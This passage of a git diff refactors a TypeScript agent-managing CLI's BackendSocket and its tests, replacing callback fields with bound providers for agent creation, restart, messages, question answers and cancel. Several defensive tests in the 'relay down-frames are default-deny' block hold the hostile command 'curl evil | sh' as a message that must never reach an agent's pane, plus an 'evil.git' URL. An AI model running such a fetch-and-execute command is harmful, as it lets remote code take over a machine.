}).requestId === requestId)?.payload).toMatchObject({ creationId, state: error === 'RESTART_FAILED' ? 'unconfirmed' : 'failed' }))@@ -2661,7 +2691,7 @@ describe('agent_restart RPC', () => {it('omits detail on failure when the handler did not supply one', async () => {const { socket, frames } = localSocket()- socket.onRestartAgent = async () => ({ ok: false, error: 'AGENT_NOT_FOUND' })+ bindLaunchRequests(socket, { restart: async () => ({ ok: false, error: 'AGENT_NOT_FOUND' }) })socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })await vi.waitFor(() => expect(frames).toContainEqual({type: 'agent_restart_result', payload: { requestId: 'r1', error: 'AGENT_NOT_FOUND' },@@ -2878,6 +2908,7 @@ describe('agent_create with a prompt, a name and a named agent', () => {async function create(choices: Record<string, unknown>) {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:named', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })const seen: unknown[] = []@@ -3060,6 +3091,7 @@ describe('the connect burst with no network', () => {// three again, for as long as the wifi stayed off. The terminal on the same computer read// "offline" the whole time.const socket = new BackendSocket('token')+ bindAgentList(socket)socket.deriveGridName = () => new Promise<null>(() => {}) // a grid read that never landssocket.accountUsageReader = () => new Promise(() => {}) // a vendor that never answersserveModels(socket)@@ -3274,8 +3306,8 @@ describe('agent_recent replies', () => {async function recentReplyFor(role: 'web' | 'device') {const socket = new BackendSocket('token')- socket.recentProvider = () => events- socket.recentAsksProvider = () => ['which llama.cpp build is this?']+ // The recaps module's answer (core/turns/recaps.ts); what this checks is the socket's fitting of it.+ socket.agentRecentProvider = () => ({ agentId: 'a1', events, asks: ['which llama.cpp build is this?'] })socket.connect()const ws = wsMock.instances.at(-1)!ws.open()@@ -3388,17 +3420,18 @@ describe('question_response reports what became of the answer', () => {it('replies STALE_QUESTION under the question\'s own requestId when the dialog changed first', async () => {const { socket, dispatch, results } = harness()- socket.onQuestionAnswer = vi.fn(async () => ({ ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }))+ const answer = vi.fn(async () => ({ ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }))+ bindQuestionResponse(socket, answer)await dispatch({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })await vi.waitFor(() => expect(results()).toHaveLength(1))expect(results()[0].payload).toEqual({ requestId: 'q_0badf00d', error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' })- expect(socket.onQuestionAnswer).toHaveBeenCalledWith({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })+ expect(answer).toHaveBeenCalledWith({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })await socket.unregisterLocalClient('local:hn')})it('replies ok once the answer was typed', async () => {const { socket, dispatch, results } = harness()- socket.onQuestionAnswer = vi.fn(async () => ({ ok: true as const }))+ bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))await dispatch({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })await vi.waitFor(() => expect(results()).toHaveLength(1))expect(results()[0].payload).toEqual({ requestId: 'q_1', ok: true })@@ -3409,7 +3442,7 @@ describe('question_response reports what became of the answer', () => {const { socket, dispatch, results } = harness()const other: Array<{ type: string }> = []socket.registerLocalClient('local:other', { sendFrame: (frame) => { other.push(frame as { type: string }); return true }, sendBinary: () => true })- socket.onQuestionAnswer = vi.fn(async () => ({ ok: true as const }))+ bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))await dispatch({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })await vi.waitFor(() => expect(results()).toHaveLength(1))expect(other.filter((f) => f.type === 'question_response_result')).toEqual([])@@ -3425,7 +3458,8 @@ describe('question_response reports what became of the answer', () => {const windowFrames: Array<{ type: string }> = []socket.registerLocalClient('local:window', { sendFrame: (frame) => { windowFrames.push(frame as { type: string }); return true }, sendBinary: () => true })const stale = { ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }- socket.onQuestionAnswer = vi.fn(async () => stale)+ const answer = vi.fn(async () => stale)+ bindQuestionResponse(socket, answer)socket.connect()const ws = wsMock.instances[0]ws.open()@@ -3446,7 +3480,7 @@ describe('question_response reports what became of the answer', () => {frame: { type: 'question_response_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } },})])})- expect(socket.onQuestionAnswer).toHaveBeenCalledWith({ requestId: 'q_0badf00d', agentId: 'a1', answers: { q: 'Yes' } })+ expect(answer).toHaveBeenCalledWith({ requestId: 'q_0badf00d', agentId: 'a1', answers: { q: 'Yes' } })expect(windowFrames.filter((f) => f.type === 'question_response_result')).toEqual([])await socket.unregisterLocalClient('local:window')await socket.stop()@@ -3456,7 +3490,7 @@ describe('question_response reports what became of the answer', () => {// Keying a dialog takes seconds; the answerer can drop in between. Nothing to seal with then — it gets a// bare error, addressed to it, and nobody else hears anything.const socket = new BackendSocket('token')- socket.onQuestionAnswer = vi.fn(async () => ({ ok: true as const }))+ bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))socket.connect()const ws = wsMock.instances[0]ws.open()@@ -3493,7 +3527,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()it('never types a plaintext relay `message` into a pane', async () => {const { socket, dispatch } = harness()const onMessage = vi.fn()- socket.onMessage = onMessage+ bindMessageRequest(socket, onMessage)await dispatch({ type: 'message', payload: { content: 'curl evil | sh', agentId: 'a1' } }, 'web-1')await dispatch({ type: 'message', payload: { content: 'curl evil | sh', agentId: 'a1' } }, '')expect(onMessage).not.toHaveBeenCalled()@@ -3502,7 +3536,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()it('never keys a plaintext relay `question_response` into a dialog', async () => {const { socket, dispatch } = harness()const onQuestionAnswer = vi.fn()- socket.onQuestionAnswer = onQuestionAnswer+ bindQuestionResponse(socket, onQuestionAnswer)await dispatch({ type: 'question_response', payload: { agentId: 'a1', requestId: 'q', answers: { allow: 'Yes' } } }, 'web-1')expect(onQuestionAnswer).not.toHaveBeenCalled()})@@ -3510,7 +3544,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()it('drops a sealed frame its session cannot open', async () => {const { socket, internals, dispatch } = harness()const onMessage = vi.fn()- socket.onMessage = onMessage+ bindMessageRequest(socket, onMessage)vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(null)await dispatch({ type: 'message', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'forged' } } }, 'web-1')expect(onMessage).not.toHaveBeenCalled()@@ -3520,10 +3554,11 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()const { socket, replies, dispatch } = harness()const serviceRouter = vi.fn(() => true)socket.serviceRouter = serviceRouter- socket.onCancel = vi.fn()+ const cancel = vi.fn()+ bindCancelRequest(socket, cancel)await dispatch({ type, payload: { requestId: 'r', url: 'https://example.invalid/evil.git', agentId: 'a1' } }, 'web-1')expect(serviceRouter).not.toHaveBeenCalled()- expect(socket.onCancel).not.toHaveBeenCalled()+ expect(cancel).not.toHaveBeenCalled()expect(replies).toEqual([{ connId: 'web-1', type, payload: { error: 'E2EE_REQUIRED' } }])})@@ -3548,7 +3583,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()await dispatch({ type: 'machine_meta', payload: { name: 'mac' } }, '')expect(onMachineMeta).toHaveBeenCalledWith('mac')const onMessage = vi.fn()- socket.onMessage = onMessage+ bindMessageRequest(socket, onMessage)await dispatch({ type: 'message', payload: { content: 'hi', agentId: 'a1' } }, 'peer-1', 'p2p')expect(onMessage).not.toHaveBeenCalled()})@@ -3604,7 +3639,7 @@ describe('relay down-frames are default-deny: sealed, or the backend\'s own', ()it('leaves trusted local clients in cleartext', async () => {const { socket, dispatch } = harness()const onMessage = vi.fn()- socket.onMessage = onMessage+ bindMessageRequest(socket, onMessage)socket.registerLocalClient('local:app', { sendFrame: () => true, sendBinary: () => true })await dispatch({ type: 'message', payload: { content: 'hi', agentId: 'a1' } }, 'local:app', 'local')expect(onMessage).toHaveBeenCalledWith('a1', 'hi')diff --git a/cli/src/backendSocket.ts b/cli/src/backendSocket.tsindex 5e09eee20..5b64a0c75 100644--- a/cli/src/backendSocket.ts+++ b/cli/src/backendSocket.ts@@ -3,7 +3,7 @@ import type { Asker, PromptScopes } from './core/api.js'import { ServiceUnavailableError } from './core/serviceHost.js'import type { ActivityFrame } from './lib/turnActivity.js'import { readSessionGitPullRequest } from './lib/sessionGitPullRequest.js'-import { MonitorCompletions, type MonitorActivity } from './lib/harnessMonitor.js'+import { MonitorCompletions } from './lib/harnessMonitor.js'import type { HarnessShareOwner } from './sharing/owner.js'import { SHARE_REQUEST_TYPES } from './sharing/protocol.js'import { AutonomousDeviceRelay } from './lib/autonomous-device/relay.js'@@ -26,18 +26,16 @@ import type { AutonomousDeviceService, AutonomousDeviceFrame } from './lib/autonimport { WebSocket } from 'ws'import { BACKEND_IDLE_DEADLINE_MS, watchSocketLiveness, type LivenessWatch } from './lib/wsLiveness.js'-import { readdir } from 'fs/promises'import { existsSync } from 'node:fs'-import { dirname, isAbsolute, join } from 'path'+import { join } from 'path'import { hostname, homedir } from 'os'import { env } from './config/env.js'import { AuthSessionManager, AuthSessionError } from './lib/authSession.js'import { VERSION } from './version.js'import { registry, projectDisplayName, type RegisteredSession } from './lib/registry.js'-import { AgentStopError } from './lib/stopAgentService.js'-import type { CloseAgentService, CloseMode } from './lib/closeAgentService.js'+import type { CloseAgentService } from './lib/closeAgentService.js'import { isHiddenBuiltin } from './dsh/builtins.js'-import { ENGINES, PROCESS_ENGINES, isTerminalEngine, type AgentEngine, type ProcessEngine } from './engines/types.js'+import { ENGINES, type AgentEngine } from './engines/types.js'import { listDir } from './lib/fsBrowse.js'import { linkCodexProfile, listCodexProfiles } from './lib/codexProfiles.js'import { gridCliPresence } from './lib/gridExec.js'@@ -49,25 +47,20 @@ import { listAllGridModels, onGridModelsChanged, retargetPrewarm } from './lib/gimport { gridModelsPayload } from './lib/gridModelsPayload.js'import { resolveGridTarget } from './lib/gridTarget.js'import type { GridAttachResult } from './lib/gridAttach.js'-import { parseNewAgentModel, resolveNewAgentModel } from './lib/newAgentModel.js'import { deriveHarnessGridName } from './lib/gridDerive.js'-import { AGENT_NAME_RE, FirstPromptUnsupportedError, MAX_FIRST_PROMPT_CHARS, NamedAgentUnsupportedError, permissionModeApproves, permissionModeFlags, supportsFirstPrompt, supportsNamedAgent } from './lib/engineLaunch.js'-import { opencodeMajorVersion } from './engines/opencode/version.js'+import { supportsFirstPrompt } from './lib/engineLaunch.js'import { readAccountUsage, type AccountUsageReading } from './lib/accountUsage.js'import { probeEngines } from './lib/engineProbe.js'import { readMachineResources } from './lib/machineResources.js'import { harnessDevicesRequest, type HarnessDevicesService } from './lib/harnessDevices.js'import { createHarnessResourcesReader } from './lib/harnessResources.js'import { createHarnessStorageReader } from './lib/harnessTelemetry.js'-import { AgentCreationReceipts, AgentCreationReceiptError, creationFingerprint, validCreationId, type AgentCreationStatus } from './lib/agentCreationReceipt.js'import { engineInstallRecipe } from './lib/engineInstall.js'-import { parseProjectFolder, prepareProjectFolder, projectsRoot, ProjectFolderError } from './lib/projectFolder.js'-import { claudeTrusts, codexTrusts, preTrustClaudeProject, preTrustCodexProject } from './lib/claudeTrust.js'import { projectPreview } from './lib/projectPreview.js'import { readGitProject } from './lib/gitProject.js'-import { agentFrame, lastActivityAt, type AgentDshContext, type AgentFrame } from './lib/agentFrame.js'+import { agentFrame, type AgentDshContext, type AgentFrame } from './lib/agentFrame.js'import { agentTokenUsage } from './lib/agentTokenUsage.js'-import { installedDsh, listInstalledDsh } from './dsh/installed.js'+import { listInstalledDsh } from './dsh/installed.js'import { OrchestratorService } from './orchestrator/service.js'import { OrchestratorError } from './orchestrator/model.js'import { orchestratorRequest } from './orchestrator/wire.js'@@ -80,19 +73,13 @@ import { teamRpc } from './teams/client.js'import { Address, Id, OperationId, Receipt, TeamError, type MemberRuntime } from './teams/model.js'import { shellQuote } from './orchestrator/prompts.js'import type { SessionInputDelivery } from './lib/sessionInput.js'-import type { QuestionAnswerResult } from './lib/askQuestion.js'-import { engineLabel } from './lib/agentNames.js'-import { DSH_ID_RE, dshSupportedEngines } from './dsh/manifest.js'import { terminalHandoffRequest } from './lib/terminalHandoff.js'import { routeVoiceTask } from './lib/voiceRouter.js'-import { stoppedAgents } from './lib/stoppedAgents.js'-import { TranscriptPager } from './lib/transcriptPages.js'import { MediaPreviewError, readMediaPreviewChunk } from './lib/mediaPreview.js'import { ViewerForwarder } from './lib/viewerForwarder.js'import { InteractiveViewers } from './lib/interactiveViewer.js'import { OwnerCommands, OWNER_COMMAND_TYPES } from './lib/ownerCommands.js'import { VIEWER_DOWN_TYPES } from './lib/viewerWire.js'-import { parseHostTheme, type HostTheme } from './lib/hostTheme.js'import { E2eeManager, type LinkedPeer, type PairResult } from './lib/e2ee/manager.js'import { MachinePeerStore } from './lib/e2ee/machinePeers.js'import type { TerminalStreamManager } from './lib/terminalStreamManager.js'@@ -105,11 +92,9 @@ import {} from './lib/terminalBinary.js'import { b64d, fingerprint, isWrapped } from './lib/e2ee/core.js'import { encryptRpcResult, PAIR_REQUESTS, PLATE_REQUEST, rpcResultType } from './lib/e2ee/applicationFrames.js'-import { tmuxPaneInfo } from './lib/tmux.js'import { DEVICE_RECENT_SAFE_FRAME_BYTES, fitRecentReplyPayloadForDevice } from './lib/deviceRecentTrim.js'import { shouldReplayCommander } from './lib/commanderReplay.js'-import { RuntimeProfileControlError, type RuntimeProfileErrorCode } from './lib/runtimeProfileController.js'-import { sid, preview, logFrame } from './lib/log.js'+import { sid, logFrame } from './lib/log.js'import {TerminalP2pResponderPool,TERMINAL_P2P_DOWN_TYPES,@@ -134,20 +119,12 @@ const APP_PRESENCE_UP_MS = 60_000// `this.ws` set, every later connect() returning early, and the daemon reporting "cloud// reconnecting…" until someone restarted it.const HANDSHAKE_TIMEOUT_MS = 15_000-/** An `agent_update {opened: true}` for an agent opened less than this long ago is answered but not- * stamped or broadcast: a person flicking between two tabs, or two apps opening the same agent at- * once, would otherwise push a frame to every client for each flick. Exported for the spec. */-export const AGENT_OPENED_THROTTLE_MS = 3_000const BASE_DELAY_MS = 1_000const MAX_DELAY_MS = 30_000const QUEUE_MAX = 2_000/** Requests one local connection may queue before the daemon is ready (see `openRequests`). The app* sends a handful on connect; hundreds is a client looping, not a person. */const MAX_REQUESTS_BEFORE_READY = 256-const DEVICE_AGENT_LIST_LIMIT = 100-const DEVICE_AGENT_NAME_MAX_CODEPOINTS = 15-const DEVICE_AGENT_NAME_MAX_BYTES = 39 // device project_t.name[40], including trailing NUL on-device.-const DEVICE_ELLIPSIS = '…'export type Frame = Record<string, unknown>type OutboundEnvelope = Record<string, unknown>@@ -212,47 +189,6 @@ interface DownEnvelope {frame?: Frame}-function byteLen(s: string): number {- return Buffer.byteLength(s, 'utf8')-}--function clipDeviceAgentName(input: string): string {- const chars = [...input]- if (chars.length <= DEVICE_AGENT_NAME_MAX_CODEPOINTS && byteLen(input) <= DEVICE_AGENT_NAME_MAX_BYTES) return input- const ellipsisBytes = byteLen(DEVICE_ELLIPSIS)- let out = ''- for (const ch of chars.slice(0, DEVICE_AGENT_NAME_MAX_CODEPOINTS)) {- if (byteLen(out) + byteLen(ch) + ellipsisBytes > DEVICE_AGENT_NAME_MAX_BYTES) break- out += ch- }- return `${out}${DEVICE_ELLIPSIS}`-}--export function deviceAgentListItem(- raw: unknown,-): { id: unknown; name?: string; engine?: ProcessEngine; selectedModel?: string | null } {- const o = (raw ?? {}) as Record<string, unknown>- const item: { id: unknown; name?: string; engine?: ProcessEngine; selectedModel?: string | null } = { id: o.id }- if (typeof o.name === 'string') item.name = clipDeviceAgentName(o.name)- // The dial only ever meets process engines — a terminal never reaches it (see `deviceAgentRow`),- // and the union here says so rather than repeating fourteen string literals.- if (typeof o.engine === 'string' && (PROCESS_ENGINES as readonly string[]).includes(o.engine)) item.engine = o.engine as ProcessEngine- // Runtime model/effort profile (opaque runtime-v1:...) — lets the device render + change model/effort.- if (typeof o.selectedModel === 'string' || o.selectedModel === null) item.selectedModel = o.selectedModel- return item-}--/**- * Whether an agent row belongs on a device at all. The dial drives agents — a terminal with nobody- * running in it has no turn to watch, no question to answer and no model to switch, so it is not- * listed there; the same row becomes listable the moment an engine is started inside it and its- * `engine` flips (registry `adoptEngine`).- */-export function deviceAgentRow(raw: unknown): boolean {- const o = (raw ?? {}) as Record<string, unknown>- return !isTerminalEngine(typeof o.engine === 'string' ? o.engine : undefined)-}-export class BackendSocket {harnessDevices: HarnessDevicesService | null = nullprivate readonly gridFleet = new GridFleetRpc()@@ -321,14 +257,26 @@ export class BackendSocket {onCommanderJoin: (() => void) | null = null/** Called only when commander presence crosses zero; drives the disposable recap-worker grace. */onCommanderPresenceChanged: ((connected: boolean) => void) | null = null- /** Called when the web cancels a turn (C-c) — cli.ts stops that session's turn heartbeat. */+ /** Cancels an agent's turn, for the teams and the orchestrator (cli.ts binds core/turns/cancel.ts). */onCancel: ((sessionId: string) => void) | null = null- /** Called when the web deletes an agent (`agent_delete`) — cli.ts signals only the validated engine- * process and forgets the session. Keeps recap + agent name. */- onDeleteAgent: ((sessionId: string) => void | Promise<void>) | null = null+ /** Takes a `cancel` frame, a turn interrupted with C-c (cli.ts binds core/turns/cancel.ts). */+ cancelProvider: ((payload: Record<string, unknown>) => void) | null = null+ /** Answers `agent_delete`, Stop Harness: the validated engine process signalled and the session+ * forgotten, its recap and name kept (cli.ts binds core/agents/lifecycle.ts). Null answers UNSUPPORTED. */+ stopProvider: ((payload: Record<string, unknown>) => Promise<Record<string, unknown>>) | null = null+ /** The purge service: an agent being deleted takes no other lifecycle request meanwhile. */purgeAgentService: PurgeAgentService | null = null+ /** Answers `agent_purge` and `agent_worktree_delete` through its last argument, for the owner alone+ * (cli.ts binds core/agents/lifecycle.ts). Null answers UNSUPPORTED. */+ purgeProvider: ((type: string, payload: Record<string, unknown>, asker: { local: boolean; owner: boolean },+ reply: (result: Record<string, unknown>) => void) => void) | null = nullcloseAgentService: CloseAgentService | null = null- cleanupPreview: (() => Promise<Record<string, unknown>>) | null = null+ /** Answers `agent_close` through its last argument, once the agent is saved and closed or the close is+ * refused (cli.ts binds core/agents/close.ts). Null answers UNSUPPORTED. */+ closeProvider: ((payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => void) | null = null+ /** Answers `agents_cleanup_preview` through its argument, once every hidden agent was looked at (cli.ts+ * binds core/agents/close.ts). Null answers UNSUPPORTED. */+ cleanupPreviewProvider: ((reply: (result: Record<string, unknown>) => void) => void) | null = null/** Called on `agent_create` — cli.ts spawns a fresh tmux session running the requested engine in the* requested folder and returns its process-agent. Session metadata may bind later through hooks. */onCreateAgent: ((input: {@@ -385,7 +333,6 @@ export class BackendSocket {return true},})- private readonly agentCreations = new AgentCreationReceipts(join(env.ADAPTER_DATA_DIR, 'agent-creations'))/** Injectable for queue-isolation tests; production uses the machine-local probe. */engineProbeProvider: typeof probeEngines = probeEngines/** Entrypoint override for isolated integration fixtures; never a wire option. */@@ -525,26 +472,22 @@ export class BackendSocket {* scrollback survive, and only the process is replaced. A running process's environment cannot be* edited, so there is no gentler way to move an agent that is already up.*- * Separate from `onRestartAgent` because that one puts the agent back exactly as it was; this one- * puts it back somewhere else. They share the swap underneath and differ in what they hand it.+ * Separate from a restart (core/agents/launches.ts) because that one puts the agent back exactly as it+ * was; this one puts it back somewhere else. They share the swap underneath and differ in what they+ * hand it.*/onRetargetAgent: ((input: { agentId: string; grid: GridLaunchOverride | null }) =>Promise<{ ok: true } | { ok: false; error: string; detail?: string }>) | null = null- /** Called on `agent_restart` — cli.ts stops the agent's live engine process and relaunches it in the- * SAME tmux pane, keeping the SAME agentId and (best-effort) resuming the same engine session.- * `resumed` tells the caller whether the relaunch actually resumed the prior conversation or had to- * fall back to a fresh one under the same agent/pane. */- onRestartAgent: ((agentId: string) =>- Promise<- { ok: true; session: RegisteredSession; resumed: boolean }- | { ok: false; error: string; detail?: string }- >) | null = null- /** Resume stopped work directly, or attach if it is already running. Never replaces a live- * process and never falls back to a fresh conversation. */- onResumeAgent: ((agentId: string, permissionMode?: string) => ReturnType<NonNullable<BackendSocket['onRestartAgent']>>) | null = null- /** Called on `agent_fork` — cli.ts opens a NEW agent that starts with `agentId`'s whole history- * (lib/forkAgent.ts) and returns its process-agent, exactly as `agent_create` does. `level` says- * what the new agent actually got: the engine's own fork, or a handoff message. */+ /** The requests that start an agent's process, answered through their last argument: `agent_create`,+ * `agent_create_status`, `agent_resume` and `agent_restart`, and `agent_fork` (cli.ts binds+ * core/agents/launches.ts). Null answers UNSUPPORTED_ON_REMOTE, or UNSUPPORTED for a status. */+ createProvider: ((payload: Record<string, unknown>, asker: { local: boolean; owner: boolean }, reply: (result: Record<string, unknown>) => void) => Promise<void>) | null = null+ createStatusProvider: ((payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => Promise<void>) | null = null+ restartProvider: ((type: string, payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => Promise<void>) | null = null+ forkProvider: ((payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => Promise<void>) | null = null+ /** Opens a NEW agent that starts with `agentId`'s whole history (lib/forkAgent.ts), exactly as+ * `agent_create` does, for the fork requests and the cable. `level` says what the new agent actually+ * got: the engine's own fork, or a handoff message. */onForkAgent: ((input: { agentId: string; name: string | null; prompt: string | null }) =>Promise<{ ok: true; session: RegisteredSession; level: 'native' | 'handoff' }@@ -552,12 +495,16 @@ export class BackendSocket {>) | null = null/** Called when the web/device sends chat input to an agent terminal. */onMessage: ((sessionId: string, content: string, deliveryId?: string, tabId?: string) => void) | null = null- /** Best-effort terminal-native title sync after a user renames an agent. */- onAgentRename: ((session: RegisteredSession, name: string) => void) | null = null- /** Called when a device answers an AskUserQuestion (`question_response`) — cli.ts drives the CLI's own- * terminal dialog (option digit / free text), since a remote machine has no- * programmatic answer channel the way the hosted runtime’s brain does. */- onQuestionAnswer: ((payload: { requestId?: string; sessionId?: string; agentId?: string; answers?: Record<string, string> }) => Promise<QuestionAnswerResult> | void) | null = null+ /** Takes a `message` frame: text a person typed for an agent, into its pane (cli.ts binds core/input.ts).+ * The teams and the orchestrator deliver through `onMessage` above. */+ messageProvider: ((payload: Record<string, unknown>) => void) | null = null+ /** Answers `agent_update` through its last argument, before the windows hear of the change: a rename, a+ * model and effort, or an app opening the agent (cli.ts binds core/agents/update.ts). */+ agentUpdateProvider: ((payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => Promise<void>) | null = null+ /** Answers `question_response` through its last argument: a person's answer to an agent's question,+ * keyed into the CLI's own dialog, since a remote machine has no programmatic answer channel the way+ * the hosted runtime’s brain does (cli.ts binds core/questions.ts). Null answers nothing. */+ questionProvider: ((payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => void) | null = null/** Called when this machine was deleted/revoked (a `machine_revoked` down-frame, or a 401/403 on the* upgrade) — CLI clears the saved SSO session and shuts down instead of retrying forever. */onRevoked: (() => void) | null = null@@ -567,25 +514,30 @@ export class BackendSocket {/** Called when this machine is already connected from ANOTHER computer (HTTP 409 on the upgrade) — the* SSO session is valid, so CLI keeps it and stops without a retry loop. */onBusy: (() => void) | null = null- /** Answers the device `project_recent` RPC (cli.ts wires this to CommanderMirror.recent). */+ /** An agent's last turn summaries, which `voice_route` routes by (cli.ts wires this to the recaps). */recentProvider: RecentProvider | null = null- /** The person's own last questions for an agent, newest first. See the `agent_recent` case. */- recentAsksProvider: ((agentId: string, n: number) => string[]) | null = null+ /** Answers `agent_recent` with the whole reply: an agent's last turn summaries and the person's last+ * questions, for a device's tiles (cli.ts binds core/turns/recaps.ts). Null answers UNSUPPORTED. */+ agentRecentProvider: ((payload: Record<string, unknown>) => Record<string, unknown>) | null = null+ /** Answers `agents_list` through its last argument: every agent's frame, and its monitor readings when+ * asked for (cli.ts binds core/agents/list.ts). The second argument reads the asker's paired role.+ * Null answers UNSUPPORTED. */+ agentsProvider: ((payload: Record<string, unknown>, sessionRole: () => string | null,+ reply: (result: Record<string, unknown>) => void) => Promise<void>) | null = null/** Answers `session_get` with the whole reply: a conversation's history, a page at a time (cli.ts binds* core/transcripts/history.ts). Null answers UNSUPPORTED. */historyProvider: ((payload: Record<string, unknown>) => Promise<Record<string, unknown>>) | null = null- /** History pages and line counts for the threads clients read (lib/transcriptPages.ts). `sessions_list`- * counts lines with it here, and cli.ts hands it to the core's history for `session_get`'s pages, so a- * transcript's line index is built once for both. */- readonly transcriptPages = new TranscriptPager()- /** Writes the structured handoff file for an agent whose engine is about to change (the- * `agent_handoff_prepare` case; cli.ts wires lib/agentHandoff.ts). It resolves with where the file is,- * never with text for the next engine (the desktop words that prompt itself). A `HandoffError`'s `code`- * is the error reply; any other failure replies `INTERNAL`. */- handoffProvider: ((req: { agentId: string; changeId: string; targetEngine: string }) =>- Promise<{ file: string | null; gitRepo: boolean; cwd: string; degraded: string[] }>) | null = null- monitorActivityProvider: ((sessionId: string) => MonitorActivity) | null = null- private readonly monitorCompletions = new MonitorCompletions()+ /** Answers `sessions_list` with the whole reply: the conversation an agent holds and how many lines it+ * has (cli.ts binds core/transcripts/history.ts). Null answers UNSUPPORTED. */+ sessionsProvider: ((payload: Record<string, unknown>) => Promise<Record<string, unknown>>) | null = null+ /** Answers `agent_handoff_prepare` through its last argument, for the owner alone: the structured handoff+ * file for an agent whose engine is about to change, written where it says, never text for the next+ * engine (cli.ts binds core/agents/handoff.ts over lib/agentHandoff.ts). Null answers UNSUPPORTED. */+ handoffRequestProvider: ((payload: Record<string, unknown>, asker: { local: boolean; owner: boolean },+ reply: (result: Record<string, unknown>) => void) => void) | null = null+ /** How each agent's last turn ended, from the turn frames this socket sends: the monitor's activity+ * once a turn is over (`agents_list`, core/agents/list.ts). */+ readonly monitorCompletions = new MonitorCompletions()/** Answers `usage_read` — this machine's own agent-account usage (lib/accountUsage.ts). A field* rather than a direct call so a spec answers it without a real home, Keychain or network. */accountUsageReader: () => Promise<AccountUsageReading[]> = readAccountUsage@@ -595,9 +547,12 @@ export class BackendSocket {* are pushed labels as `unavailable` rather than in the node text. Kept here, by connection: the* models service answers the list, and a request reaches it without its connection. */private readonly rowStateWindows = new Set<string>()- /** Receives `theme_set` — the desktop's pane colours, to become this machine's tmux- * `window-style` (lib/hostTheme.ts). Wired by cli.ts; null answers with UNSUPPORTED. */- hostThemeSink: ((theme: HostTheme) => void) | null = null+ /** Answers `terminal_info` through its last argument, once tmux has: what a harness's pane runs and+ * where (cli.ts binds core/terminals/requests.ts). Null answers UNSUPPORTED. */+ terminalInfoProvider: ((payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void) => void) | null = null+ /** Answers `theme_set` with the whole reply: the desktop's pane colours, to become this machine's tmux+ * `window-style` (cli.ts binds core/terminals/requests.ts). Null answers UNSUPPORTED. */+ themeProvider: ((payload: Record<string, unknown>) => Record<string, unknown>) | null = null/** The account's device key log grew (lib/e2ee/deviceLogSyncer.ts): re-read it from this machine's head. */onDeviceKeysChanged: (() => void) | null = null/** This machine's key was taken out of the account's device key log (`machine_revoked` says so). */@@ -610,7 +565,6 @@ export class BackendSocket {/** Appends to the device key log waiting for the backend's answer, by requestId. */private readonly devlogAppends = new Map<string, (payload: Record<string, unknown> | null) => void>()runtimeProfileProvider: ((session: RegisteredSession) => string | null) | null = null- onRuntimeProfileUpdate: ((sessionId: string, selectedModel: string) => Promise<void>) | null = null/** Web↔adapter E2EE: group-encrypts user events, runs the CPace pairing, holds per-conn sessions. */readonly e2ee: E2eeManager/** Backend-resolved machine id, persisted by the SSO login preflight. */@@ -1769,6 +1723,7 @@ export class BackendSocket {const payload = (frame.payload ?? {}) as Record<string, unknown>const requestId = payload.requestId+ const answer = (result: Record<string, unknown>): void => reply(type, requestId, result)if (TEAM_REQUEST_TYPES.has(type)) {// Observers were handled above; only the owner or a paired owner client reaches this route.@@ -1941,80 +1896,16 @@ export class BackendSocket {this.e2ee.revokeAllFromTrustedWeb(connId, requestId)return- case 'agents_list': {- const sessions = registry.advertised()- const projects = await Promise.all(sessions.map((s) => this.toProject(s)))- // Older clients/devices keep their live-only contract. The desktop picker- // explicitly asks for stopped work and receives no stale terminal routes.- const savedSessions = payload.includeStopped === true && this.e2ee.sessionRole(connId) !== 'device' ? stoppedAgents.available(sessions) : []- projects.push(...await Promise.all(savedSessions.map(s => this.toStoppedProject(s))))- // Ordered by creation time, oldest → newest — a stable tab order that doesn't reshuffle as- // sessions become active (createdAt = the session's registeredAt). The id breaks a tie so the- // order is TOTAL: without it two agents registered in the same millisecond fall through to array- // position, which is Map insertion order and differs between daemon runs — the web, the app and- // the dial would each show a different order for the same registry. `cableHost.listAgents`- // sorts by the same rule; the two must stay identical.- projects.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt) || a.id.localeCompare(b.id))- if (this.e2ee.sessionRole(connId) === 'device') {- reply(type, requestId, { agents: projects.filter(deviceAgentRow).slice(0, DEVICE_AGENT_LIST_LIMIT).map(deviceAgentListItem) })- return- }- if (payload.monitor === true) {- // Optional telemetry must never hold the ordered terminal-input queue.- void (async () => {- const [snapshot, storage] = await Promise.all([- this.harnessResourcesReader().catch(() => ({ agents: [], sampledAt: null, shared: [] })),- this.harnessStorageReader([...sessions, ...savedSessions]).catch(() => new Map()),- ])- const resources = new Map(snapshot.agents.map(row 